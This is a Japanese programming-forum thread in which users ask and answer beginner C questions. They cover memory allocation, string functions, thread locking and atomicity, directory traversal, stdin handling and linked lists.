> if(! isdigit( *(s++) ) )
> return 0;
でいいっていってたし。
粘着は嫌われるよ。
0158デフォルトの名無しさん
NGNGレベルが低いだの言う人間が、どのくらい高いレベルのコードを
書いてくるかと思ったら、期待はずれだったからさ。
クロックを犠牲にして汎用性を取るなら ISO 表現まで読み取る
strtod で認識不能文字を調べればいいし。
まあいいや。粘着はやめることにするよ。
0159デフォルトの名無しさん
NGNG> ほぼ100%の処理系でマクロ展開される。
マルチバイト文字/ワイド文字対応が入ってる場合には、必ずしもマクロ展開され
るとは限りません。たとえば VC++ 6.0 (日本語版) で isdigit() を含むコード
をコンパイルすると _isctype() という関数呼び出しが入ります。
でもまぁ strspn() よりは速いと思いますけど。
0160デフォルトの名無しさん
NGNGマルチバイト文字は対応が難しいですよね。
でもisdigitで漢字数字等がtrueになってもあまり用途が無いような気がします。
海外のプログラムをそのまま移植したら逆に誤動作するかも。
ASCII用のisdigitとマルチバイト用のを分けて作ったほうがほうが
良かったんじゃないかなぁ。>MS
>>156
159さんの例もありますので、語気は低いほうが良いですよ。
気持ちはわかりますが。
0161デフォルトの名無しさん
NGNG0162デフォルトの名無しさん
NGNGじゃ、ここらで一発レベルの高い話題をお願いします。
……それとも オマエモナー って言ってほしかった?
0163デフォルトの名無しさん
NGNG>>120 の後半が一見して効率悪いと思えるのは、strspn と strlen で
同じ文字列を少なくとも二回トラバースするとこじゃないかな。
0164デフォルトの名無しさん
NGNGそのくらいなら
p && *p && p[ strspn(p,"0123456789") ] == '\0'
とでもしときゃ何とでもなるけど、やっぱり本質的にstrspnは遅いっしょ。
0165163
NGNGstrspn 自体が遅いことにはモチロン同意だけど。それにしても
> p[ strspn(p,"0123456789") ] == '\0'
なるほど、これはちょっと目からウロコでした。
0166デフォルトの名無しさん
NGNGポインタおべんきょしましょ。
strspn(p,"0123456789")[p] == '\0'
0168146
NGNG0169110
NGNG> sizei = sizeof(int) * I * J * K;
> sized = sizeof(double) * I * J * K;
> f->a = (int *)malloc(sizei + sized);
> f->b = (double *)(f->a + I * J * K);
が非常に参考になりました.
お陰様で,目的のスクリプツを作る事ができました.
どうもありがとうございました.
0170デフォルトの名無しさん
NGNG0171嵐王
NGNG0172デフォルトの名無しさん
NGNG0173デフォルトの名無しさん
NGNGC++トランスレータ使いましょう。出力はCになります。
0174デフォルトの名無しさん
NGNG好きなOOP言語を作れば。
0175デフォルトの名無しさん
NGNG> 膨れ上がってしまいます。
君の環境では int = 4byte だからです。
int = 2byteの環境では元のファイルの2倍くらいに膨れ上がるでしょう。
> また、「これが定石じゃ!」
int c;
while((c = fgetc(ifp)) != EOF)
fputc(c, ofp)
>>149の方法だとbufよりも大きいサイズのコピーが出来ない
0176デフォルトの名無しさん
NGNGstruct point{
float x
float y;
};
struct point *p;
p = (struct point *)malloc(256 * sizeof(struct point));
こんな感じでいいんでしょうか?
0177デフォルトの名無しさん
NGNGおーけー。
0178デフォルトの名無しさん
NGNGCだったら、malloc()の戻り値をキャストする必要はないね。
C++だったら必要だけど。(ふつうnewするか)
0179デフォルトの名無しさん
NGNGメモリ上のテーブルに複数の同スレッドが参照・更新を行っています。
現状、参照・更新共にメモリテーブルにmutexロックを掛けていますが
このテーブル、更新頻度が低くて、参照の際までにロックを掛けていることが
ボトルネックになって参照処理が遅いように思われています。
で、解決策として、参照の際はロックしないで、更新時だけロックする
読み手/書き手ロック関数(rw_系)を使えばいいのではないかと思うんですが
このロックに変えることで弊害とか考えられますか?
カーネルへの負担とかはどちらが重いんでしょうか?
0180デフォルトの名無しさん
NGNGprintfがあれば全て済みそうなんですが.
本によるとprintfはオーバーヘッドが大きいからputsやputcharで
済むならこっちを使いましょう,みたいになってるんですが,マイクロ
セカンド単位で変わっても大した問題じゃあないと思います.
でもやはり,printfを使う必要がなければputsとか使うべきですか?
0181デフォルトの名無しさん
NGNG0182デフォルトの名無しさん
NGNGちゃんとprofile取ってから考えろよ。
0184デフォルトの名無しさん
NGNGつっこむべき
0186デフォルトの名無しさん
NGNG>>184
read() でロックをかけないと、read() 実行中に write() されると、競合が発
生する。だから read() では共有ロックをかけ、write() では排他ロックをか
ける必要がある。
>>179
どこがボトルネックになっているのか、まずはプロファイラを使って計測しま
しょう。行き当たりばったりで最適かかけても、無駄な苦労に終わる可能性
がきわめて高いぞ。
0187デフォルトの名無しさん
NGNGwriteがatomicならロック必要ナシ。
テーブル
const int n = 4;
int table[n];
あるスレ(read)
for (i = 0; i < n; i++) {
printf("%d\n", table[i]);
}
別のスレ(write)
for (c = 0; ; c += n) {
for (i = 0; i < n; i++) {
table[i] = c + i;
}
}
0188デフォルトの名無しさん
NGNGreadの結果が「0,1,6,15」とかでも構わないのなら、
ロックする必要はないけどな。
0189デフォルトの名無しさん
NGNGint *a[N] はポインタの配列
ですよね?どう違うんでしょ?
0190デフォルトの名無しさん
NGNG「配列へのポインタ」と「ポインタの配列」の違いがわからないということは、
すなわち「ポインタと配列の違いがわからない」に等しい。
教科書読んで出直せ。
とりあえずそれぞれについてsizeof(a)を調べて見れ。
0191ヨーコ・ゼッターランド
NGNG???????????????????
???????????????????????
????? ?? ? ????????? Cは偉大なり
???? ?????? ????????????
?? ??? ??????????
?? ????? ????? ?????
?? ?????
? ?? ??? ???
? ?????????? ??
?? ???? ????? ??
?? ???? ???? ???
?????????????????????
???????????????????
??????????????????
???????????????
0192sage
NGNG限定的なケースだね。それ。
揚げ足をとるつもりじゃないが、
Cでいうところのintに対するアクセスがatomicであると証明できるひといる?
おれ、できないんだけど。馬鹿なのかな
0193デフォルトの名無しさん
NGNGただ、187の例はwriteがアトミックかどうかは関係ないような。
0194ちこりーた。
NGNG0195ちこりーた。
NGNG0196sage
NGNG「これから使う環境でアトミック」かどうかはわからんよね。
いや、まあ、揚げ足取りっぽいからいいけどさ。
どっかに「intアクセスはアトミックだよ」っていう保証があればいいんだけどね。
0197トシ@矢田亜希子&水野美紀
NGNG例えば、次のような実行例となるようにせよ。
数字(1)を入力してください 43
数字(2)を入力してください 25
数字(3)を入力してください 7
数字(4)を入力してください 123
数字(5)を入力してください 0
見つけたい数字を入力してください 7
7は3番目に見つかりました
見つけたい数字を入力してください 55
55は見つかりませんでした
見つけたい数字を入力してください 0
それではプログラムを終了します
以上
やって下さいな。
0198デフォルトの名無しさん
NGNGそんなCにはそもそも標準IOライブラリがあること自体が怪しいが
0200デフォルトの名無しさん
NGNGお約束だが、SMPって知ってる?
0201デフォルトの名無しさん
NGNGあの例の場合、SMPだろうがNUMAだろうが関係ナシ。
0202デフォルトの名無しさん
NGNG最初に勉強した本の影響と思われ。
でもフォーマットのことを言い出すときりが無い。
宗教論争だ。
# その宗教論争のスレ、誰か立ててよ。
0203デフォルトの名無しさん
NGNG使用されていないメモリのアドレスを取得する命令ってありますよね?
無かったら非常に困っちゃいますが。
その命令を教えていただきたいのですが。
このままだと固定長の文字列しか扱えなくて・・・
0204デフォルトの名無しさん
NGNG0205デフォルトの名無しさん
NGNG0206193
NGNGん? (*ptr)++ ってx86でまともなコンパイラなら、
mov eax,ptr; inc [ebx]
とかするでしょ。CPUとバスが調停してくれるから、SMPでも大丈夫。
mov eax, [ebx]; add eax,1; mov [ebx],eax
とかだと、マルチスレッドでもまずいけど。
(だから、RISC系ではintへのアクセスは大抵アトミックではない)
これで合ってる?
0207デフォルトの名無しさん
NGNGなるほど、こういう命令があったんですね。
これ使えばリスト構造とかできるのかな?
っていうか、出来なきゃおかしいか・・・
mallocとcallocの違いがよくわかんないのですが。
callocはゼロに初期化してくれるってこととエラー処理ルーチンを呼び出す
ってことくらいしか違いが無いような
さらにreallocとかfreeってのみつけたんですけど、
reallocってのが配列のサイズを拡大して、
freeが一連の操作をしたメモリを開放するってことでよいのですか?
配列を縮小する命令が無いんですけど、
やっぱりcallocで作り直してメモリの中身をコピーして、
freeで削除?ってことでよろしいんですか?
0208デフォルトの名無しさん
NGNG0209207
NGNGreallocの第二引数を「相対的な」サイズだと思ってました。
第二引数にマイナスの値を入れたら恐ろしいことになっちゃって(泣
絶対的だったんですね、勘違い、勘違い。
どうもありがとうございます。
0210デフォルトの名無しさん
NGNG自分で3.14・・・を定義するものなのですか。
誰かが なんとかPI(ちがってるかも)
みたいのが初めから入っているって言ってたような気がするんですが。
知ってる人おしえてください.
0211200
NGNG・・・ふーん、なるほどね。
「インテル・アーキテクチャ・ソフトウェア・ディベロッパーズ・
マニュアル」下巻より
7.1.1.保証付きアトミック操作
Intel386、Intel486、Pentium、P6ファミリの各プロセッサは、次の
基本的なメモリ操作が常にアトミックに実行されるよう保証する。
・1バイトの読み取りまたは書き込み。
・16ビット境界にアライメント合わせされた1ワードの読み取りまたは
書き込み。
・32ビット境界にアライメントが調整された1ダブルワードの読み取り
または書き込み。
-- 略 --
7.1.2.2.ソフトウェア制御されたバス・ロック
明示的にバスをロックするために、ソフトウェアは次に示すメモリ位置を
変更する命令に先だってLOCKプリフィックスを付加することができる。
-- 略 --
・ビット・テスト/変更命令(BTS、BTR、BTC)。
・交換命令(XADD、CMPXCHG、CMPXCHG8B)。
・XCHG命令には自動的にLOCKプリフィックスが付くものと想定されている。
・次の1オペランド算術演算/論理演算命令: INC、DEC、NOT、NEG。
・次の2オペランド算術演算/論理演算命令: ADD、ADC、SUB、SBB、AND、OR、XOR。
0212デフォルトの名無しさん
NGNGそんな事いっても、ロックしないのはCのソースとして問題外。
環境に依存しまくったIntel方面の方言に過ぎない。
安全なアセンブラ命令に展開されるといっても、コンパイラ依存。
それに、元記事によるとSolarisだから、Sparc環境かもしれない。
0213デフォルトの名無しさん
NGNGvoid s(int d){
for(int z=0;z<10 || z<d;z++){
}
}
意図としては、Zが10より低いか、dより低い間実行せよというかんじなんですけど。コンパイラ通るんですが、駄目でした。
0214デフォルトの名無しさん
NGNG実行時に d に負の数を渡してたりするかもな。
unsigned のデカイ数とかな。
0215デフォルトの名無しさん
NGNGint main()
{
mem();
}
void mem()
{
char *ptr = (char *)malloc(64);
/* free(ptr); */
}
以上の場合、確保したメモリの有効範囲って
mem()内だけですか?
main()に戻ったとき自動的にfree(ptr)が実行されてますかね?
それともmain()がおわるまで確保されたメモリは開放されませんか?
0216デフォルトの名無しさん
NGNG0217デフォルトの名無しさん
NGNGなんでそういう考えに至ったのか理解に苦しむところ
0218デフォルトの名無しさん
NGNGmain()がおわるまで確保されたメモリは開放されない
C言語には目に見えて自動的にやってくれる処理はないと思ったほうがよい
0219207
NGNG初心者的意見だと
char *ptr = (char *)malloc(64);
このchar型のポインタの有効範囲は関数の中だけなんじゃないですか?
んでもって、開放してないんだからめもりりぃ〜く!だと思いますが。
あくまでも初心者的意見のため、間違っている可能性大ですけどね。
0220デフォルトの名無しさん
NGNG0221デフォルトの名無しさん
NGNG0222デフォルトの名無しさん
NGNG開放してないんだからめもりりぃ〜く! だ!!!!
だからCはプログラマが書いてないことは何もしないんだってぱ
0223デフォルトの名無しさん
NGNG0225デフォルトの名無しさん
NGNG0226デフォルトの名無しさん
NGNGプログラマ板は、プログラム技術を語る板じゃないぞ。厨房を押し付けないでくれ。
0227デフォルトの名無しさん
NGNG厨房もカテゴリ的にはプログラマ板の方がふさわしい
0228デフォルトの名無しさん
NGNGreadでロック不要という議論なんだが。
0229デフォルトの名無しさん
NGNG0230デフォルトの名無しさん
NGNGatom=原子:これ以上分けられない最小の単位
0231デフォルトの名無しさん
NGNGだから、x86限定で話してどうなるんだよ?
readでロック不要。これは、環境依存だ
0232sage
NGNG移植性よりは、効率のよい実装のほうが重要なこともあるんだよね。
わかってて明示的にやるなら
環境依存は別に悪いことじゃないと思うよ。
0233デフォルトの名無しさん
NGNGどんな環境でatomicなwriteに対するreadにロックが必要なんだ?
0235デフォルトの名無しさん
NGNGだから書く話はしてないんだってばさ。ちゃんと読めよ。
0237デフォルトの名無しさん
NGNGそこでsystem関数等なども交えて考えてみましたが私には解りませんでした。
もしよろしければヒントなどでも教えてください。よろしくお願いします。
引 数 directory 捜索するディレクトリ名
file 結果格格納要変数
戻り値 ファイルの数
int getfile(char* directory, char** file)
として
int a;
char* file;
a = getfile("/home/hoge/",&file);
とすると
file[0],file[1],file[2]......file[a]
とファイル名が入っているというのはできますか?
よろしくお願いします。
0238shige
NGNGDIR, struct dirent, opendir, readdir, closedir
0239デフォルトの名無しさん
NGNG0240shige
NGNG0241C始めて
NGNGどうなるんでしょうか?コピー中の際はオープン出来ないように(c言語)
出来るんですか?
0242デフォルトの名無しさん
NGNGtp://www.itboost.co.jp/c/c_07.php
ほい、書くの面倒だから。
0243デフォルトの名無しさん
NGNGなんだかやたらレベルが低いな…
0244デフォルトの名無しさん
NGNG検索して一番上の奴を紹介してやったんじゃないか!!
そもそも241の日本語がわからん!
ハカーの漏れに謝れ。さぁハカーの漏れに謝れ
0245デフォルトの名無しさん
NGNGいや、もう良いでしょ。
分かるヤツにはこれまでの議論で十分だし、ここまで読んでまだ理解できない
相手には、何を言っても無駄。
0246570
NGNGC++Builder コマンドラインツール
リリースノート
===============================================
コマンドラインツールのインストールと実行
-----------------------------------------------
1. freecommandlinetools.exe を実行します。無料の C++Builder 5
コマンドラインツール開発システムをインストールしたいドライブと
フォルダを選択します。
2. インストール先の bin ディレクトリで次の手順を実行します。
a. 既存のパスに "c:\Borland\Bcc55\bin" を追加します。
b. bcc32.cfg ファイルを作成します。このファイルは,Include
および Lib パスのコンパイラオプション(コンパイラの -I
および -L スイッチ)を設定するものです。ファイルには次の
行を含めてください。
-I"c:\Borland\Bcc55\include"
-L"c:\Borland\Bcc55\lib"
c. ilink32.cfg ファイルを作成します。このファイルは,Lib
パスのリンカオプションを設定するものです。ファイルには
次の行を含めてください。
-L"c:\Borland\Bcc55\lib"
これの2b・cのやりかたがわかりません。
これじゃあ勉強すらできない・・・・・
0247デフォルトの名無しさん
NGNG難しく考えるな。含めろといわれている行をコピペして、
それぞれ指定されたファイル名で保存するだけ。
(もし c:\Borland 以外の場所にインストールしたのなら、
適宜内容を書き換える必要はあるが)
0248デフォルトの名無しさん
NGNGvectorかどっかに自動って設定やってくれるのなかったか。
0249246
NGNGsageてなくてすまん。
0250248
NGNG0251デフォルトの名無しさん
NGNGVC++でアセンブラリスト見たことあるのか?
VC++はまともなコンパイラじゃないとか言われそうだけど(藁
0252デフォルトの名無しさん
NGNGもしかして、最適化なしの結果を見てたりしてないだろうな?
0253デフォルトの名無しさん
NGNGちゃんと最適化してるって。
だから見てるの?
0254デフォルトの名無しさん
NGNG金をかけずにプログラミングを勉強したいなら、まず"MS−DOS"の使い方を覚えろ。
0255デフォルトの名無しさん
NGNGどうせならlinuxとか薦めとけよ
0256デフォルトの名無しさん
NGNGvoid inc(void)
{
volatile int *pt;
(*pt)++;
}
; Line 3
mov eax, DWORD PTR _pt$[esp-4]
mov ecx, DWORD PTR [eax]
inc ecx
mov DWORD PTR [eax], ecx
0257デフォルトの名無しさん
NGNG{
int *pt;
(*pt)++;
}
; Line 3
mov eax, DWORD PTR _pt$[esp+4]
inc DWORD PTR [eax]
0258570
NGNG動作するかはわかりませんが・・・・
柴田望洋明解C言語入門編やってます。
わかりやすくてどんどんすすみそう。
ただP21の複数の変換指定をコンパイルして実行すると、
実行したファイルがKERNEL32エラーを引き起こして
このぺ−じだけ実行不能になってしまいます。
他のプログラムは今のところエラーでないのに・・・・
0259デフォルトの名無しさん
NGNG{
int *pt;
(*pt)++;
(*pt)++;
}
; Line 5
mov eax, DWORD PTR _pt$[esp+4]
add DWORD PTR [eax], 2
そもそも、たまたまincに展開されたところで
incはSMP safeじゃないんだが。
0260デフォルトの名無しさん
NGNG0261デフォルトの名無しさん
NGNGもともとの話とは全然違うんだが、まぁこれはこれで君は正しいよ。
>>260
そうか?使うだけなら漏れは構わんが。引き継ぎさせられるような
場合は、1から書き直せる時間がなければ承諾せんけどな。
0262デフォルトの名無しさん
NGNG平林雅英著 技術評論者
のソースコードをダウンロードできるサイトはないですか?
フロッピーがついてるのですがPC-98ようなので読めません。
0263デフォルトの名無しさん
NGNG既に“最新”ではないと思われ。
0264デフォルトの名無しさん
NGNG覚えたての再帰を使えば楽勝さ!と思えど実際に作っているうちにすぐにつまづきました。
手がつけられなくなりました。。。
どなたかこのような関数の雛型を持っていたらご教授ください。お願いします。
0265プププ
NGNGhttp://www.hir-net.com/soft/
0266デフォルトの名無しさん
NGNGOSくらい書け。
MS-DOS/Windows系
systemm("dir");
UNIX系
system("ls -l")
0267264
NGNGレスありがとうございます。しかしそれでは困るのです。。。。
あるディレクトリ以下に存在するファイル一覧というのは
/home/というディレクトリの中にhoge/とuser/というディレクトリがあればその
ディレクトリにあるファイルも順次表示し、そのディレクトリにさらにディレクトリがあれば・・・・
と全て表示したいのです。言葉足らずですいません。
opendirやstat関数を駆使して創る事になると思うのですが・・・・
OSはLinuxとMS-DOS(CYGWIN)なのでUNIX系という事になりましょうか。
よろしくお願いします。
0268デフォルトの名無しさん
NGNGかなりイタいページだね。
それにしてもこの著者まだC言語が関数型言語だと思ってるのだろうか。
それとももう間違いを悟ったかな?
0269デフォルトの名無しさん
NGNGman ftw
0270デフォルトの名無しさん
NGNG再帰的にだと
MS-DOS/Windows系
dir /s
UNIX 系
ls -R
だと思うが。
0271デフォルトの名無しさん
NGNG全然エラーチェックしていないが、こんな感じ
カレントと親ディレクトリは無視するのがポイント
void foo(const char *dn)
{
DIR *dp;
struct dirent *dir;
struct stat fs;
dp = opendir(dn);
while ((dir = readdir(dp)) != NULL) {
stat(dir->d_name, &fs);
if (S_ISDIR(fs.st_mode))
if (strcmp(dir->d_name, ".") && strcmp(dir->d_name, ".."))
foo(dir->d_name);
}
closedir(dp);
}
0272デフォルトの名無しさん
NGNGchar str[10000][1000];
みたいに普通に宣言していいんですか。
0273デフォルトの名無しさん
NGNG環境依存
0274デフォルトの名無しさん
NGNGかまわない
ただし、俺愛用のコンパイラLSI-Cの場合、デフォルトスタックサイズが
2500バイトなんでスタックサイズを増やさないといけないけどな。
あと、固定で確保する方法ではなく、必要な大きさだけ確保する手もある
malloc(), free()あたりを検索してみてくれ。
0275デフォルトの名無しさん
NGNG>if (strcmp(dir->d_name, ".") && strcmp(dir->d_name, ".."))
...
0276デフォルトの名無しさん
NGNGdir->d_name って、パスが含まれていないんじゃないかな。
0277デフォルトの名無しさん
NGNG0278デフォルトの名無しさん
NGNGLSI-Cって、かの有名な石器時代のコンパイラ?
0280デフォルトの名無しさん
NGNGまだ現役ですよ〜
DOS時代からの人はこれの存在大きかったよね?
0281デフォルトの名無しさん
NGNG>nul文字で終了しない。
memcmpでもどっちかの文字が0になった(差違が出た)
時点で終るのでは?
0282デフォルトの名無しさん
NGNG両方同じ文字列だった場合、それよりも長い長さを比較したら、
memcmpの方は領域外の比較もしちゃうから異なるって事かな?
普通の使い方じゃないけど
(普通、比較前に両方のmaxを取るでしょ?)
0283デフォルトの名無しさん
NGNG中学の入学祝がBCC4.5だった
0284264
NGNGありがとうございました。
教えてもらったソースを雛型にプログラムを創りたいと思います。
0285デフォルトの名無しさん
NGNG0286デフォルトの名無しさん
NGNG俺もまだ現役。LFN もちゃんと扱えるからな。
0287デフォルトの名無しさん
NGNG3つ目の引数に何を渡すかにより動作が異なる
strncmp(a,b, strlen(a)); memcmp(a, b, strlen(a));
の場合、strncmpとmemcmpの動作に違いはないが、
strncmp(a,b, sizeof a); memcmp(a, b, sizeof a));
の場合、strncmpとmemcmpの動作が違うことがある。
0288デフォルトの名無しさん
NGNG後者だとコンパイル不可かな(w
で、a の型は?
0289デフォルトの名無しさん
NGNG> で、a の型は?
char a[] = "\x00hoge";
char b[] = "\x00hage";
とかだと後者のコンパイルも可能だし、strcmp, memcmpの動作も変わるけど?
0290デフォルトの名無しさん
NGNGコンパイル不可というのは、閉じ括弧が一つ多いことに
ついて揚げ足を取ってみただけ、じゃなかろうか。
0291公房ドキュソ
NGNGまたはプログラムきぼんぬ。C言語できぼんぬ。
0292デフォルトの名無しさん
NGNGスレ違い。
ここは他人にプログラムを書いてもらうスレではない。
麻衣たんに頼め。
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=982853418&ls=50
0293デフォルトの名無しさん
NGNG0294デフォルトの名無しさん
NGNGDBは何がいい?
0295デフォルトの名無しさん
NGNGプロセスの中で、その実行可能ファイルのファイル名を
取得したいのです。
mainで、argv[0]の内容を広域変数に入れて参照する、
という方法があるのはわかったのですが、
広域変数を使わずに、関数で取得するような方法って
ないのでしょうか?
ヒントでもよいので、よろしくお願いします。
0296デフォルトの名無しさん
NGNGプラットホームを書いた方が良いと思うぞ。
C 言語一般の話で言えば、ありません。
0297デフォルトの名無しさん
NGNG俺はへたれなので偉い人きぼん
0298デフォルトの名無しさん
NGNGhttp://www.j-gunboy.com/prog/c/ctop.html
0299デフォルトの名無しさん
NGNGいつも探してみるのですが見つかりません。
よろしければサイトを教えてください。
0300デフォルトの名無しさん
NGNG/usr/src/ 以下を見ろ。すべての標準コマンドのソースが入ってる。
灯台下暗しってやつだな。
0301デフォルトの名無しさん
NGNGと
while(1)
どっちが望ましいとか あるのかな
0302デフォルトの名無しさん
NGNGWin32 なら GetModuleFileName() で第一引数に NULL
4.4BSD 系列だと、スタートアップルーチンで _progname に設定してるから、
自分のソースに
extern char *_progname;
とでも書いておいて _progname でアクセス。他の環境でも kvm や procfs を
介して取得できる可能性は高いけど、汎用的な方法はないと思う。
0303デフォルトの名無しさん
NGNG/usr/src/以下は
.
..
pgsql/ ←最近自分でアップグレードしたばっかり
です。ちなみに環境はTurboLinuxServer6.1です。
でもお陰で標準的にはソースが/usr/src/に残されているという事を知りました。
ありがとうございました。
0304デフォルトの名無しさん
NGNG.
..
は/usr/local/src/でした。
今は確認できる環境にいないので
後で/usr/src/を確認しておきたいと思います。
0305デフォルトの名無しさん
NGNGint
main(void)
{
int c;
printf("Hello world!\n");
while (1) {
if ((c = getchar()) == 'a') {
break;
}
printf("c = %c\n", c);
}
printf("exit\n");
return EXIT_SUCCESS;
}
こういうプログラムを作りました。キーボードから a を入力したら
exit と表示して終了して欲しいプログラムです。これをコンパイル
して実行してみたところ、
b
c = b
c =
c
c = c
c =
のように、なぜか getchar() を入力する前に printf が実行される
ように見えます。これを
b
c = b
c
c = c
のような出力を得るようにするにはどうすればよいでしょうか。
こちらの環境は、FreeBSD 4.3-RELEASE で gcc 2.95.3 です。
0306デフォルトの名無しさん
NGNGタボリヌだと /usr/src/ には linux とか redhat くらいしかないかも。
赤帽系 Linux はプログラマのための UNIX じゃないから、コマンド類の
ソースは標準インストールではついてこないんじゃないかな。
0307デフォルトの名無しさん
NGNGなるほどなるほど、プログラマのためのUNIXじゃないというのは納得です。
ではプログラマの為のLINUXでお勧めはどのディストリビューションはなんですか?
お願いします。
0308デフォルトの名無しさん
NGNG改行文字を読み込んで、それをそのまま出力しているせいなので、
if (c == '\n') continue;
を printf の前に加えればいい。
0309デフォルトの名無しさん
NGNGソースコードを一式そろえたいなら Linux よりも FreeBSD, NetBSD, OpenBSD の
方が楽。
0310名無しさん@XEmacs
NGNGたとえばログインシェルのargv[0]は-shとかになっている。
procfsが有効になってるLinuxなら
char exename[MAXPATHLEN];
int n = readlink("/proc/self/exe", exename, sizeof exename);
if (n < 0) goto error;
exename[n] = 0;
printf("path=%s\n", exename);
0311デフォルトの名無しさん
NGNGftpで普段は探る事もないFreeBSDのフォルダを探ったら
お陰さまで簡単に各種ソースコードを見つける事ができました。
しかし、贅沢を言えばやはり欲しいのはLinuxのソースコードです。
どなたかLinuxのソースコードが置いてあるftpサイトを教えて頂けないでしょうか?
お願いします。
0312デフォルトの名無しさん
NGNG「Linuxのディストリビューションのコマンド」なら
配布元のサイトに逝けばあるかも。
0313デフォルトの名無しさん
NGNGsrpmなりなんなり取ってきて展開すればいいと思うが。
Slackware系なら単なるtar.gzで転がってるけど。
0314デフォルトの名無しさん
NGNGなるほど。つまり改行はスキップするとよいわけですね。勉強に
なりました。
0315デフォルトの名無しさん
NGNGFILE渡すと、そのファイルの中身全部読み込んでメモリに保持して、
**linesを返すようなライブラリです。そのソースのファイル名が
filereader.cだとします。
**linesがさしている行の配列はfilereader.cのファイルスコープの
変数として定義されています。ファイルを読み込んで**linesを返す
関数がchar **read(FILE *fin)だとします。
んで、main()の方で2つのファイルを同じときに読み込みたくなった
時にハタと困ったわけです。
char **lines1, **lines2;
lines1 = read(file1);
lines2 = read(file2);
と、してしまうとlines1が指している行の配列がlines2のものに
なってしまうのです。これを干渉し会わないようにするには
ライブラリをどのように作るのがよいのでしょうか?
0316デフォルトの名無しさん
NGNGで、linesの実体は誰が確保してるんだ?
0317デフォルトの名無しさん
NGNGいや、filereader.cの中で確保する予定ですが。。。というか、
まだ考えている段階なのでコードは書いていないのです。
すいません。
0318デフォルトの名無しさん
NGNG> **linesがさしている行の配列はfilereader.cのファイルスコープの
> 変数として定義されています。
この変数をメモリ確保するようにし、別インスタンスにする
また、char **ではなくリスト構造にするという手もある
「リスト構造」は検索エンジンで聞いてくれ。
0319デフォルトの名無しさん
NGNG願えないでしょうか。
>この変数をメモリ確保するようにし、別インスタンスにする
このインスタンスとは「クラスのインスタンス」という意味ですか?
だとすると、Cなのでそれができないのです。
>また、char **ではなくリスト構造にするという手もある
リスト構造とはリンクリストのことですか?
構造体にしたところでなにが変わるのかがわかりません。
0320デフォルトの名無しさん
NGNGプログラミング言語 C を読み直した方が良いと思うが。
>>この変数をメモリ確保するようにし、別インスタンスにする
たぶん malloc() で確保しろといいたかったに違いない。
> リスト構造とはリンクリストのことですか?
> 構造体にしたところでなにが変わるのかがわかりません。
分かれ。
0321デフォルトの名無しさん
NGNG>たぶん malloc() で確保しろといいたかったに違いない。
いや、ファイルの内容はメモリに保持するのがもともとの予定だったので
malloc(), realloc()でメモリの許す限りの大きさを許すのがもともとの
予定です。しかし、このことが質問とどのように関係しているのかが
わかりません。
>分かれ。
すいません。教えてください。
(つうか、こいつも俺と同じく厨房?)
0322デフォルトの名無しさん
NGNGなんで関数内で malloc() した領域を返すのに、
> char **lines1, **lines2;
> lines1 = read(file1);
> lines2 = read(file2);
>
> と、してしまうとlines1が指している行の配列がlines2のものに
> なってしまうのです。
となるわけ? なんか根本的に勘違いしてる気がするが。手元に動いているコードが
あるなら、とりあえず出してみなよ。
> (つうか、こいつも俺と同じく厨房?)
喧嘩を売るなら fj.news.usage に逝きましょう。俺は、つきあわないけど。
0323デフォルトの名無しさん
NGNG> このインスタンスとは「クラスのインスタンス」という意味ですか?
> だとすると、Cなのでそれができないのです。
スマン、用語がC++だった。
インスタンス=実体とでも思ってくれ、
> リスト構造とはリンクリストのことですか?
> 構造体にしたところでなにが変わるのかがわかりません。
行を管理する実体を確保する必要がなくなる。
また、配列の場合あらかじめ行数がわかっている場合は問題ないが、
全部読んでみないと行数がわからない場合、面倒
0324デフォルトの名無しさん
NGNGfilereader.cは次のようになる予定です。
filereader.c:
#include <stdio.h>
static char lines[][] = NULL;
extern char **read(FILE *f);
char **read(FILE *f)
{
/* ファイルから読み込んで、linesに格納。この際メモリの許す限り
ファイルのサイズを許すためその都度malloc(), realloc()でlines
にメモリを割り当てる。*/
return lines;
}
0325デフォルトの名無しさん
NGNGすいません。失礼しました。
0326デフォルトの名無しさん
NGNGなのです。
main.c:
int main(void)
{
...
lines1 = read(file1);
lines2 = read(file2);
...
}
0327322
NGNG> static char lines[][] = NULL;
静的に確保した配列と malloc() で確保したメモリ領域の区別がついてないと思われ。
#include <stdio.h>
#include <stdlib.h>
#define MAXLINELEN 1024
struct list
{
struct list *l_prev;
struct list *l_next;
char l_line[MAXLINELEN];
};
struct list *
read_file(FILE *fp)
{
struct list *first, *prev, *cur;
char buf[MAXLINELEN];
first = malloc(sizeof(*prev));
first->l_prev = first->l_next = NULL;
for (prev = first; fgets(buf, sizeof(buf), fp) != NULL; prev = cur) {
cur = malloc(sizeof(*cur));
cur->l_prev = prev;
cur->l_prev->l_next = cur;
cur->l_next = NULL;
strcpy(cur->l_line, buf);
}
return (first);
}
int
main(void)
{
FILE *fp;
struct list *first, *p;
fp = fopen("read.c", "r");
first= read_file(fp);
fclose(fp);
for (p = first->l_next; p != NULL; p = p->l_next)
fputs(p->l_line, stdout);
return (0);
}
0328デフォルトの名無しさん
NGNGreallocでのメモリ拡張は大量のメモリコピーが伴う場合があるから
あまり頻繁に大きなサイズで呼び出さないほうが良いと思う。
素直にリンクリストでデータ要素をちまちま追加してくほうがいいよ。
どうしてもやりたいなら割り当てる単位を大きくしてなるべくreallocを
呼び出す回数を少なくする工夫が要ると思う。
ちなみに
Javaの可変配列Vectorの実装ではサイズが2^N乗を超えたときにrealloc相当の
処理をするようになってた。
これだとサイズが線形に増えたときlog2N回しかreallocしないかわりに最悪
メモリ使用効率が半分まで落ちることがある。
0329デフォルトの名無しさん
NGNGコードまでありがとうございます。参考にさせていただきます。
ここで、疑問なのですが、read_fileはローカル変数firstを
返していますよね。ここにもしかすると私の大きな勘違いが
あるのかもしれませんが、firstの指す実体はread_file()を
抜けた後でも残っているのでしょうか?
なぜそんな疑問を持ったのかというと(すいません、長くなるの
で投稿を分けます。)
0330デフォルトの名無しさん
NGNG#include <stdio.h>
int main(void)
{
char **p;
char *array[3];
char *s, *t, *u;
int i;
s = "foo";
t = "bar";
u = "foobar";
array[0] = s;
array[1] = t;
array[2] = u;
p = array;
for (i = 0; i < 3; i++) {
printf("(%d): '%s'\n", i, *p++);
}
return(0);
}
0331デフォルトの名無しさん
NGNG#include <stdio.h>
char **foo(void);
int main(void)
{
char **p;
int i;
p = foo();
for (i = 0; i < 3; i++) {
printf("(%d): '%s'\n", i, *p++);
}
return(0);
}
char **foo(void)
{
char **p;
char *s, *t, *u;
char *array[3];
s = "foo";
t = "bar";
u = "foobar";
array[0] = s;
array[1] = t;
